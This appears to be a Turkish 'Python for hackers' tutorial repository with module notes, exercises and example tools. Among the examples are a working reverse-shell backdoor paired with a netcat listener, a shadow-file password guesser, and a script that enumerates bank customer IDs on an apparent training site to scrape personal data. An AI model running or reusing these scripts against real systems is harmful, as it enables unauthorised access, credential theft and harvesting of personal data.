├── modules ├── Network │ ├── m_nmap.py │ ├── m_socket.py │ ├── m_pycurl.md │ ├── m_scapy.md │ ├── m_telnetlib.md │ ├── m_pxssh.md │ ├── m_ftplib.md │ └── m_paramiko.md ├── Parse │ ├── m_json.py │ ├── m_sys.md │ └── m_argparse.md ├── Thread_Process │ ├── m_gevent.md │ ├── m_threading.md │ └── m_multiprocessing.md ├── Sistem │ ├── m_subprocess.md │ ├── m_os.md │ └── m_commands.md ├── Web │ ├── m_urllib.py │ ├── m_wget.md │ ├── m_mechanize.md │ └── m_requests.md ├── m_progressbar.md ├── Renklendirme │ ├── m_termcolor.md │ └── m_colorama.md ├── Veritabani │ ├── m_MySQLdb.md │ └── m_tinydb.md ├── m_winreg.md ├── m_pe.md ├── Dosya-doc-excel-csv │ └── m_zipfile.md └── Crypto │ └── m_spwd.md ├── examples ├── backdoor │ ├── attacker.py │ └── victim.py ├── rootchecker.py ├── ekrangoruntusu.py ├── lpc.py ├── downloader.py ├── googleplay.py ├── hack.py ├── ftpcrack.py ├── C&C.py └── nmap.py ├── temelbilgiler ├── PEP3000.md ├── karaktermet.md ├── modulkurmak.md ├── ipython.md └── temel.md ├── img ├── 1.png ├── 2.png ├── 3.png ├── 4.png ├── 5.png ├── 6.png ├── 7.png ├── 8.png ├── o1.png ├── o10.png ├── o11.png ├── o12.png ├── o13.png ├── o14.png ├── o15.png ├── o2.png ├── o3.png ├── o4.png ├── o5.png ├── o6.png ├── o7.png ├── o8.png ├── o9.png ├── u1.png ├── u10.png ├── u2.png ├── u3.png ├── u4.png ├── u5.png ├── u6.png ├── u7.png ├── u8.png ├── u9.png ├── oend.png └── phackers.png ├── odevler ├── url_e.txt ├── odevler.md └── pokemon.txt ├── README.md └── temellinux ├── editors.md ├── temellinux.md └── kurlum.md /modules/Network/m_nmap.py: -------------------------------------------------------------------------------- 1 | import nmap 2 | -------------------------------------------------------------------------------- /modules/Parse/m_json.py: -------------------------------------------------------------------------------- 1 | import json 2 | -------------------------------------------------------------------------------- /examples/backdoor/attacker.py: -------------------------------------------------------------------------------- 1 | nc -v -l -p 1245 2 | -------------------------------------------------------------------------------- /modules/Thread_Process/m_gevent.md: -------------------------------------------------------------------------------- 1 | ### gevent 2 | -------------------------------------------------------------------------------- /modules/Thread_Process/m_threading.md: -------------------------------------------------------------------------------- 1 | ### Threading 2 | -------------------------------------------------------------------------------- /temelbilgiler/PEP3000.md: -------------------------------------------------------------------------------- 1 | ### PEP 3000 -- Python 3000 2 | -------------------------------------------------------------------------------- /modules/Sistem/m_subprocess.md: -------------------------------------------------------------------------------- 1 | ### Subprocess modülü hakkında 2 | -------------------------------------------------------------------------------- /img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/1.png -------------------------------------------------------------------------------- /img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/2.png -------------------------------------------------------------------------------- /img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/3.png -------------------------------------------------------------------------------- /img/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/4.png -------------------------------------------------------------------------------- /img/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/5.png -------------------------------------------------------------------------------- /img/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/6.png -------------------------------------------------------------------------------- /img/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/7.png -------------------------------------------------------------------------------- /img/8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/8.png -------------------------------------------------------------------------------- /img/o1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/o1.png -------------------------------------------------------------------------------- /img/o10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/o10.png -------------------------------------------------------------------------------- /img/o11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/o11.png -------------------------------------------------------------------------------- /img/o12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/o12.png -------------------------------------------------------------------------------- /img/o13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/o13.png -------------------------------------------------------------------------------- /img/o14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/o14.png -------------------------------------------------------------------------------- /img/o15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/o15.png -------------------------------------------------------------------------------- /img/o2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/o2.png -------------------------------------------------------------------------------- /img/o3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/o3.png -------------------------------------------------------------------------------- /img/o4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/o4.png -------------------------------------------------------------------------------- /img/o5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/o5.png -------------------------------------------------------------------------------- /img/o6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/o6.png -------------------------------------------------------------------------------- /img/o7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/o7.png -------------------------------------------------------------------------------- /img/o8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/o8.png -------------------------------------------------------------------------------- /img/o9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/o9.png -------------------------------------------------------------------------------- /img/u1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/u1.png -------------------------------------------------------------------------------- /img/u10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/u10.png -------------------------------------------------------------------------------- /img/u2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/u2.png -------------------------------------------------------------------------------- /img/u3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/u3.png -------------------------------------------------------------------------------- /img/u4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/u4.png -------------------------------------------------------------------------------- /img/u5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/u5.png -------------------------------------------------------------------------------- /img/u6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/u6.png -------------------------------------------------------------------------------- /img/u7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/u7.png -------------------------------------------------------------------------------- /img/u8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/u8.png -------------------------------------------------------------------------------- /img/u9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/u9.png -------------------------------------------------------------------------------- /modules/Sistem/m_os.md: -------------------------------------------------------------------------------- 1 | ### os modülü hakkında ### 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /modules/Web/m_urllib.py: -------------------------------------------------------------------------------- 1 | ### urllib Hakkında 2 | 3 | import urllib 4 | -------------------------------------------------------------------------------- /img/oend.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/oend.png -------------------------------------------------------------------------------- /modules/Thread_Process/m_multiprocessing.md: -------------------------------------------------------------------------------- 1 | ### Process tabanlı threading 2 | -------------------------------------------------------------------------------- /img/phackers.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/img/phackers.png -------------------------------------------------------------------------------- /modules/Network/m_socket.py: -------------------------------------------------------------------------------- 1 | ### Socket modülü hakkında 2 | 3 | import socket 4 | -------------------------------------------------------------------------------- /odevler/url_e.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/besimaltnok/PFE/HEAD/odevler/url_e.txt -------------------------------------------------------------------------------- /modules/Network/m_pycurl.md: -------------------------------------------------------------------------------- 1 | #### Hakkında 2 | 3 | 4 | #### Kurulumu 5 | 6 | * sudo pip insyall pycurl 7 | -------------------------------------------------------------------------------- /modules/m_progressbar.md: -------------------------------------------------------------------------------- 1 | ### ProgressBar hakkında 2 | 3 | ```python 4 | from progressbar import * 5 | 6 | ``` 7 | -------------------------------------------------------------------------------- /examples/rootchecker.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | def RootChecker(): 4 | if os.getuid() != 0: 5 | print "Run as root, please" 6 | -------------------------------------------------------------------------------- /modules/Network/m_scapy.md: -------------------------------------------------------------------------------- 1 | ### Scapy 2 | 3 | + Döküman ve örnekler 4 | 5 | [Scapy Hakkında Detaylı Yönerge](https://github.com/besimaltnok/scapy-cheatsheet) 6 | -------------------------------------------------------------------------------- /modules/Renklendirme/m_termcolor.md: -------------------------------------------------------------------------------- 1 | ### Termcolor modülü hakkında örnekler 2 | 3 | 4 | ```python 5 | from termcolor import colored 6 | info = "Hi Python !" 7 | print colored(info, "red") 8 | 9 | ``` 10 | 11 | -------------------------------------------------------------------------------- /modules/Sistem/m_commands.md: -------------------------------------------------------------------------------- 1 | ### commands 2 | 3 | ```python 4 | import commands # Only linux system 5 | from os import popen2 6 | 7 | data = commands.getoutput("cd") 8 | print(data) 9 | 10 | stdin, stdout = popen2("dir") 11 | 12 | print(stdin) 13 | print(stdout) 14 | ``` 15 | -------------------------------------------------------------------------------- /modules/Web/m_wget.md: -------------------------------------------------------------------------------- 1 | ### wget modülü hakkında 2 | 3 | + Linux sistemlerdeki wget komutudur. 4 | + Dosya indirmek için kullanabilirsiniz. 5 | 6 | ```python 7 | import wget 8 | wget.download("http://img.prntscr.com/img?url=http://i.imgur.com/YZNV4tI.png", 'deneme.png') 9 | ``` 10 | -------------------------------------------------------------------------------- /examples/ekrangoruntusu.py: -------------------------------------------------------------------------------- 1 | #brew install phantomjs 2 | #pip install selenium 3 | 4 | from selenium import webdriver 5 | import time 6 | driver = webdriver.PhantomJS() 7 | driver.set_window_size(1024, 768) 8 | driver.get('http://site') 9 | time.sleep(5) 10 | driver.save_screenshot('isim.png') 11 | driver.close() 12 | driver.quit() 13 | -------------------------------------------------------------------------------- /temelbilgiler/karaktermet.md: -------------------------------------------------------------------------------- 1 | ### Karakter Dizilerinin Metotları 2 | 3 | + replace() 4 | ```python 5 | isim = "Besim" 6 | isim.replace('e', '') 7 | #Bsim 8 | ``` 9 | 10 | + split() 11 | ```python 12 | site = "www.besimaltinok.com" 13 | site.split('.') 14 | # ['www', 'besimaltinok', 'com'] 15 | 16 | site.split('.', 1) 17 | # ['www', 'besimaltinok.com'] 18 | ``` 19 | -------------------------------------------------------------------------------- /modules/Veritabani/m_MySQLdb.md: -------------------------------------------------------------------------------- 1 | ### MySQLdb 2 | 3 | + Kurulumu 4 | ```python 5 | sudo apt-get install python-mysqldb 6 | ``` 7 | 8 | + Dahil etmek 9 | ```python 10 | import MySQLdb 11 | ``` 12 | 13 | + Veritabanı bağlantısı 14 | ```python 15 | db = MySQLdb.connect("localhost","user","pass","DB_name" ) 16 | ``` 17 | 18 | + Sorgu çalıştırmak 19 | ```python 20 | sql = "SORGU" 21 | db.cursor() 22 | cursor.execute(sql) 23 | db.close() 24 | ``` 25 | -------------------------------------------------------------------------------- /modules/Network/m_telnetlib.md: -------------------------------------------------------------------------------- 1 | ### Telnetlib modülü hakkında 2 | 3 | + Telnet ile login süreci 4 | 5 | ```python 6 | from telnetlib import Telnet 7 | import getpass 8 | 9 | host = "domain" 10 | user = raw_input("Username : ") 11 | passw = getpass("Password : ") 12 | 13 | login = Telnet(host) 14 | login.read_until("login: ") 15 | login.write(user + "\n") 16 | 17 | login.read_until("Password: ") 18 | login.write(passw + "\n") 19 | 20 | ``` 21 | 22 | -------------------------------------------------------------------------------- /temelbilgiler/modulkurmak.md: -------------------------------------------------------------------------------- 1 | ### Moduller 2 | 3 | + Python modül (paket) yönetim sistemi 4 | 5 | ```python 6 | sudo apt-get install python-pip # python2 7 | sudo apt-get install python3-pip # python3 8 | ``` 9 | 10 | + Yüklü modülleri listeleme 11 | 12 | ```python 13 | pip list # python2 14 | pip3 list # python3 15 | ``` 16 | 17 | + Paket aramak 18 | 19 | ```python 20 | pip search paket_ismi # python2 21 | pip3 search paket_ismi # python3 22 | ``` 23 | -------------------------------------------------------------------------------- /examples/lpc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from crypt import crypt 4 | from spwd import getspnam 5 | from termcolor import colored 6 | 7 | username = raw_input("Username : ") 8 | passlist = ["rootd", "toor", "deneme", "merhaba", "nasil", "bulundu"] 9 | 10 | enc_pass = getspnam(username)[1] 11 | 12 | 13 | for p in passlist: 14 | password = crypt(p, enc_pass) 15 | if password == enc_pass: 16 | print colored("Pass Found ! : "+p, "green") 17 | else: 18 | print "Try : ", p 19 | -------------------------------------------------------------------------------- /examples/downloader.py: -------------------------------------------------------------------------------- 1 | __author__ = 'besimaltnok' 2 | __author__ = 'octosec' 3 | 4 | #Downloader 1 5 | import wget 6 | wget.download("http://img.prntscr.com/img?url=http://i.imgur.com/YZNV4tI.png", 'deneme.png') 7 | 8 | #Downloader 2 9 | import urllib2 10 | 11 | url = "http://img.prntscr.com/img?url=http://i.imgur.com/zJyGz19.png" 12 | file_name = url.split('/')[-1] 13 | file = urllib2.urlopen(url) 14 | download = open(file_name,'wb') 15 | download.write(file.read()) 16 | download.close() 17 | -------------------------------------------------------------------------------- /examples/backdoor/victim.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import socket,subprocess 4 | HOST = '127.0.0.1' 5 | PORT = 1245 6 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 7 | s.connect((HOST, PORT)) 8 | s.send('[*] Connected !') 9 | while 1: 10 | data = s.recv(1024) 11 | if data == "quit": break 12 | proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 13 | stdout_value = proc.stdout.read() + proc.stderr.read() 14 | s.send(stdout_value) 15 | s.close() 16 | -------------------------------------------------------------------------------- /modules/m_winreg.md: -------------------------------------------------------------------------------- 1 | ### _winreg modülü hakkında 2 | 3 | + Regedit üzerinde işlem yapmanızı sağlayan bir modüldür. 4 | 5 | 6 | + Regedit üzerinde okuma işlemi için 7 | 8 | ```python 9 | import _winreg 10 | key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run") 11 | ``` 12 | 13 | + Regedit üzerinde yazma işlemi için 14 | 15 | ```python 16 | import _winreg 17 | key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run") 18 | ``` 19 | + Kullanılabilecek diğer metotlar 20 | -------------------------------------------------------------------------------- /modules/Network/m_pxssh.md: -------------------------------------------------------------------------------- 1 | 2 | ### pxssh modülü hakkında ### 3 | 4 | + Login 5 | 6 | ```python 7 | import pxssh 8 | import getpass 9 | ssh = pxssh.pxssh() 10 | host = raw_input("Domain :") 11 | user = raw_input("Username : ") 12 | passw = getpass("Password : ") 13 | ssh.login(host, user, passw) 14 | ``` 15 | + Login işleminden sonra komut çalıştırma 16 | 17 | ```python 18 | command = "uptime" 19 | ssh.sendline(command) 20 | ``` 21 | 22 | + çoklu komut çalıştırma 23 | 24 | ```python 25 | c1 = "uptime" 26 | c2 = "ld" 27 | ssh.sendline(c1;c2) 28 | ``` 29 | -------------------------------------------------------------------------------- /modules/m_pe.md: -------------------------------------------------------------------------------- 1 | ### pefile modülü hakkında 2 | 3 | + Dosya analizi 4 | 5 | ```python 6 | import pefile 7 | pe = pefile.PE('/root/Desktop/l.exe') 8 | is_dll = pe.is_dll() 9 | is_exe = pe.is_exe() 10 | 11 | ``` 12 | 13 | + Örnek 1 14 | 15 | ```python 16 | 17 | def ImportTables(): 18 | for entry in pe.DIRECTORY_ENTRY_IMPORT: 19 | dll.append(entry.dll) 20 | for import_list in entry.imports: 21 | import_table.append(import_list.name) 22 | 23 | ``` 24 | 25 | + Örnek 2 26 | 27 | ```python 28 | 29 | def Is_Packed(): 30 | global is_packed 31 | if 'LoadLibraryA' in import_table: 32 | is_packed = 'True' 33 | else: 34 | is_packed = 'False' 35 | 36 | ``` 37 | -------------------------------------------------------------------------------- /examples/googleplay.py: -------------------------------------------------------------------------------- 1 | __author__ = 'besimaltnok' 2 | 3 | import urllib 4 | 5 | 6 | app_list = ['com.trello', 'com.voices', 'com.fjsoft.myphoneexplorer.client', 'com.google.android.apps.adm', 'com.security.client'] 7 | url = 'https://play.google.com/store/apps/details?id=' 8 | play_app = [] 9 | unknown_app = [] 10 | 11 | for app in app_list: 12 | play_url = url+app 13 | open = urllib.urlopen(play_url) 14 | code = open.getcode() 15 | if code == 200: 16 | print "True" 17 | play_app.append(app) 18 | else: 19 | unknown_app.append(app) 20 | 21 | print "Google Play Apps : ", play_app 22 | print "Unknown source Apps : ", unknown_app 23 | -------------------------------------------------------------------------------- /modules/Parse/m_sys.md: -------------------------------------------------------------------------------- 1 | ### sys modülü hakkında 2 | 3 | 4 | ```python 5 | import sys 6 | 7 | sys.version # python version bilgisini alır.Örnek : 8 | 2.7.9 (default, Dec 10 2014, 12:24:55) [MSC v.1500 32 bit (Intel)] 9 | 10 | sys.platform # pythonun çalıştığı sistemin platform ismini verir. 11 | 12 | sys.version_info # bize bir demet döndürür. 13 | sys.version_info(major=2, minor=7, micro=9, releaselevel=’final’, serial=0) 14 | 15 | sys.argv # kullanıcıdan program için parametre alır. 16 | sys.argv[1] # ikinci paramtre 17 | 18 | sys.stdout.write(“BesimCo!”) 19 | # Ekrana çıktı verir. 20 | print “type in value: “, ; sys.stdin.readline()[:-1] # Kullanıcıdan veri alır. 21 | 22 | ``` 23 | -------------------------------------------------------------------------------- /modules/Dosya-doc-excel-csv/m_zipfile.md: -------------------------------------------------------------------------------- 1 | ### zipfile modülü hakkında kısa örnekler 2 | 3 | + Zip dosyası olup olmadığını kontrol etmek 4 | 5 | ```python 6 | import zipfile 7 | filename = "file.zip" 8 | zipfile.is_zipfile(filename) 9 | 10 | ``` 11 | 12 | + Zip dosyasının parolasını açmak 13 | 14 | ```python 15 | import zipfile 16 | filename = "file.zip" 17 | zip_file = zipfile.ZipFile(zipfilename) 18 | zip_file.extractall(pwd=password) 19 | 20 | ``` 21 | 22 | + Zip dosyasının içeriğini listelemek 23 | 24 | ```python 25 | import zipfile 26 | filename = "file.zip" 27 | zip_file = zipfile.ZipFile(zipfilename, 'r') 28 | list = zip_file.namelist() 29 | for i in list: 30 | print i 31 | 32 | ``` 33 | -------------------------------------------------------------------------------- /modules/Web/m_mechanize.md: -------------------------------------------------------------------------------- 1 | ### Mechanize modülü hakkında 2 | 3 | 4 | + Mechanize modülü ile bir siteye login süreci 5 | 6 | ```python 7 | import mechanize, getpass 8 | 9 | # Bir tarayıcı açıyoruz 10 | br = mechanize.Browser() 11 | 12 | # Giriş yapmak istediğimiz url adresini oluşturduğumuz tarayıcı ile açıyoruz 13 | br.open(url) 14 | 15 | # Gerekli login bilgileri kullanıcıdan alınır. 16 | user = raw_input("Username : ") 17 | passw = getpass("Password : ") 18 | 19 | # Giriş için kullanacağımız form sayfanın kaynak kodundan bakılıp seçilir. 20 | br.select_form(nr=1) 21 | 22 | # Bilgiler forma işlenir. 23 | br.form['user'] = user 24 | br.form['passw'] = passw 25 | 26 | # Son olarak form submit edilir. 27 | br.submit() 28 | ``` 29 | 30 | -------------------------------------------------------------------------------- /temelbilgiler/ipython.md: -------------------------------------------------------------------------------- 1 | ### ipython hakkında 2 | 3 | + Kurulum 4 | 5 | ```python 6 | sudo apt-get install ipython # Python2 7 | sudo apt-get install ipython3 # Python3 8 | ``` 9 | 10 | + Başlamak için 11 | 12 | ```python 13 | Terminale "ipython3 veya ipython" yazılır. 14 | ``` 15 | 16 | + Yardım 17 | 18 | ```python 19 | %who = Daha önce tanımlanan değişken isimlerini gösterir. 20 | %whos = Daha önce tanımlanan değişkenler, tipleri ve içlerinde tuttukları değerler gösterilir. 21 | %who_ls = Daha önce tanımlanan değişken isimleri liste halinde döndürülür. 22 | ``` 23 | 24 | + Bu shell ekranındayken yaptıklarımızı kayıt etmek 25 | 26 | ```python 27 | save dosyaismi 28 | save dosyaismi 1-15 # Hangilerini kayıt edeceğimizi seçebiliriz. 29 | ``` 30 | -------------------------------------------------------------------------------- /modules/Network/m_ftplib.md: -------------------------------------------------------------------------------- 1 | ### FTPlib modülü hakkında 2 | 3 | + FTP Login 4 | 5 | ```python 6 | from ftplib import FTP 7 | domain = "localhost" 8 | ftp = FTP(domain) 9 | login = ftp.login(user='username', passwd='password') 10 | 11 | ``` 12 | 13 | + Login işleminden sonra FTP üzerinde işlem yapmak 14 | 15 | ```python 16 | ftp.pwd() 17 | 18 | ftp.mkd() 19 | 20 | ftp.getwelcome() 21 | 22 | ftp.retrlines('LIST') 23 | 24 | ftp.quit() 25 | 26 | ftp.close() 27 | 28 | 29 | ``` 30 | 31 | + Dosya yükleme 32 | 33 | ```python 34 | file = "filename" 35 | ftp.storbinary("STOR " + file, open(file, "rb"), 1024) 36 | ``` 37 | 38 | + Dosya indirme 39 | ```python 40 | file = "filename" 41 | ftp.retrbinary("RETR " + filename ,open(filename, 'wb').write) 42 | ``` 43 | 44 | -------------------------------------------------------------------------------- /modules/Crypto/m_spwd.md: -------------------------------------------------------------------------------- 1 | ### spwd modülü hakkında 2 | 3 | + Shadow parola veritabanına erişebilir. 4 | + Doğru çalışması için root yetkisi gereklidir. 5 | + Demet gibi bir obje döndürür. 6 | 7 | ```python 8 | import spwd 9 | p = spwd.getspnam(username) 10 | print p 11 | ``` 12 | + Dönen değer ve içerikleri 13 | 14 | ```python 15 | 0 sp_nam : Login olmak için kullanılan kullanıcı ismi 16 | 1 sp_pwd : Şifreli parola 17 | 2 sp_lstchg : En son ne zaman değiştirildiği 18 | 3 sp_min : Minimum değişim tarihi 19 | 4 sp_max : Maximum değişim tarihi 20 | 5 sp_warn : Şİfres süresü dolmadan kaç gün önce kullanıcı uyarılmalı 21 | 6 sp_inact : Şifre süresi dolduktan kaç gün sonra kullanıcı hesabı bloke olacak 22 | 7 sp_expire : Parolanın süresi 23 | 8 sp_flag : Reserved 24 | ``` 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### Herkes için Python ### 2 | 3 | 4 | Konu | Açıklama 5 | ------------ | ------------- 6 | [Temel Bilgiler](https://github.com/besimaltnok/PFE/tree/master/temelbilgiler) | Python hakkında temel bilgileri içerir. (kurulum ve sonrası) 7 | [Temel Linux](https://github.com/besimaltnok/PFE/tree/master/temellinux) | Linux hakkında temel bilgileri içerir. (kurulum ve sonrası) 8 | [Modüller](https://github.com/besimaltnok/python4hackers/tree/master/modules) | Kullanışlı python modülleri. 9 | [Ödevler](https://github.com/besimaltnok/python4hackers/tree/master/odevler) | Burası size ait. Alıştırmalar. 10 | [Araçlar](https://github.com/besimaltnok/python4hackers/tree/master/examples) | Python ile yazılmış işlevsel araç kodları içerir. 11 | 12 | ![cypm](/img/phackers.png) 13 | 14 | -------------------------------------------------------------------------------- /modules/Renklendirme/m_colorama.md: -------------------------------------------------------------------------------- 1 | ### colorama modülü hakkında 2 | 3 | + Arkaplan ve yazı rengini değiştirme 4 | 5 | ```python 6 | from colorama import Fore, Back, Style 7 | print(Fore.RED + 'Text') 8 | print(Back.GREEN + 'Text arkaplan') 9 | print(Style.RESET_ALL) 10 | print('Tekrar Normal') 11 | ``` 12 | 13 | + Mevcut renkler 14 | 15 | ```python 16 | Fore: BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE, RESET. 17 | Back: BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE, RESET. 18 | Style: DIM, NORMAL, BRIGHT, RESET_ALL 19 | ``` 20 | 21 | ### ANSI color code (Terminal renklendirme) 22 | 23 | + Söz dizimi 24 | 25 | ```python 26 | print "\033[5;41;32mGREEN TEXT\033[0m" 27 | 28 | START_SEQx;y;zmDISPLAY_TEXTEND_SEQ 29 | 30 | Starting sequence: \033[ 31 | x;y;z: ANSI color codes 32 | Display text: Text you want to display 33 | Ending sequence: \033[0m 34 | ``` 35 | 36 | -------------------------------------------------------------------------------- /modules/Network/m_paramiko.md: -------------------------------------------------------------------------------- 1 | ### Paramiko ile SSH protokolü üzerinde işlemler 2 | 3 | + SSH login süreci 4 | 5 | ```python 6 | import paramiko 7 | ssh = paramiko.SSHClient() 8 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 9 | ssh.connect('localhost', username='user', password='pass') 10 | ssh.close() 11 | 12 | ``` 13 | 14 | + Login işleminden sonra komut çalıştırma 15 | 16 | 17 | ```python 18 | stdin,stdout,stderr = ssh.exec_command("pwd") 19 | for i in stdout: 20 | print i.strip() 21 | ``` 22 | 23 | + SFTP üzerinden dizin listeleme 24 | 25 | ```python 26 | sftp = ssh.open_sftp() 27 | print sftp.listdir() 28 | 29 | ``` 30 | 31 | + SFTP üzerinden dizin değiştirme 32 | 33 | ```python 34 | sftp.chdir("/tmp/") 35 | 36 | ``` 37 | 38 | + SFTP üzerinden dosya yükleme 39 | 40 | ```python 41 | 42 | ``` 43 | 44 | + SFTP üzerinden dosya indirme 45 | 46 | ```python 47 | 48 | 49 | ``` 50 | -------------------------------------------------------------------------------- /modules/Parse/m_argparse.md: -------------------------------------------------------------------------------- 1 | ### Argparse modülü hakkında 2 | 3 | + Argüman tanımlama 4 | 5 | ```python 6 | import argparse 7 | parser = argparse.ArgumentParser("nmap handler", description) 8 | parser.add_argument("--host", help="--host ", required=True) 9 | parser.add_argument("--port", help="--port ", type=int, required=True) 10 | args = parser.parse_args() 11 | ``` 12 | 13 | + Tanımladığımız argümanların anlamı 14 | 15 | ```python 16 | help = Parametrenin kullanımı hakkında bilgi 17 | type = Kullanıcıdan alınacak parametrenin type bilgisi 18 | required = Gerekli mi değil mi ? 19 | ``` 20 | 21 | + Varsayılan bir değer tanımlamak istersek 22 | 23 | ```python 24 | DEFAULT_PASS_LIST = "/home/pythoncu/pass.txt" 25 | parser.add_argument("--passlist", "-p", help="wordlist for password, format:/home/user/passlist.txt", default=DEFAULT_PASS_LIST) 26 | ``` 27 | 28 | + Tanımladığımız argümanı kullanabilmek için 29 | 30 | ```python 31 | hostname = args.host 32 | port = args.port 33 | ``` 34 | -------------------------------------------------------------------------------- /odevler/odevler.md: -------------------------------------------------------------------------------- 1 | ### Ödevler (Size katkı sağlayan çalışmalar) 2 | 3 | + Dosya toplayıcı 4 | 5 | ```python 6 | Bir dizin içerisindeki istediğiniz türden 7 | dosyaları tek bir klasöre toplayan program 8 | ``` 9 | 10 | + Görünmeyen şifre 11 | 12 | ```python 13 | Kullanıcıdan bir parola alın ama bu ekranda görünmesin. 14 | Tıpkı linux sistemde 'root' şifresi girer gibi. 15 | ``` 16 | 17 | + Tersine Çevirdim 18 | 19 | ```python 20 | text = "Merhaba benim adım Besim" 21 | Text değişkeni ieçrisindeki ifadeyi ters çevirebilmek için ne yapabiliriz ? 22 | ``` 23 | 24 | + Canlı URL adresleri 25 | 26 | ```python 27 | Bir dosya içerisindeki çalışan url adreslerini 28 | ekrana bastırmayı deneyin. 29 | ``` 30 | 31 | + Bad Characters 32 | 33 | ```python 34 | Size verilen bir txt dosyası var. Bu dosyadan 'bad characters' çıkarıldığı 35 | zaman, anlamlı birşeyler çıkacak. Bunu yapabilir misiniz ? 36 | ``` 37 | + Root Checker 38 | 39 | ```python 40 | Programı çalıştıran kişinin **root** olup olmadığını tespit etmeye çalışın. 41 | ``` 42 | -------------------------------------------------------------------------------- /examples/hack.py: -------------------------------------------------------------------------------- 1 | __author__ = 'besimaltnok' 2 | __author__ = 'octosec' 3 | 4 | import bs4 5 | import mechanize 6 | 7 | 8 | username = '10000152' 9 | password = '100021' 10 | url = 'http://isube.bgabank.com/profil.aspx?musteriID=' 11 | loginurl = 'http://isube.bgabank.com/giris.aspx' 12 | 13 | global id_list 14 | id_list = [20,21,19,16,17,18] 15 | 16 | 17 | def Getinfo(): 18 | for id in id_list: 19 | geturl = url + str(id) 20 | 21 | a= br.open(geturl) 22 | info = a.read() 23 | 24 | bt = bs4.BeautifulSoup(info, "lxml") 25 | name = bt.find_all("p")[3].input['value'] 26 | surname = bt.find_all("p")[4].input['value'] 27 | phone = bt.find_all("p")[5].input['value'] 28 | 29 | print phone, surname, name 30 | br.close() 31 | def Loginfo(): 32 | global br 33 | br = mechanize.Browser() 34 | br.open(loginurl) 35 | br.select_form(nr=1) 36 | br.form['b_musterino'] = username 37 | br.form['b_password'] = password 38 | 39 | br.submit() 40 | 41 | if __name__ == "__main__": 42 | 43 | Loginfo() 44 | Getinfo() 45 | -------------------------------------------------------------------------------- /temellinux/editors.md: -------------------------------------------------------------------------------- 1 | ### Terminal tabanlı metin editörleri 2 | 3 | ## Vim 4 | 5 | + Bir dosya açmak 6 | ```python 7 | vim deneme.py 8 | ``` 9 | 10 | + Dosya açtıktan sonra yazmaya 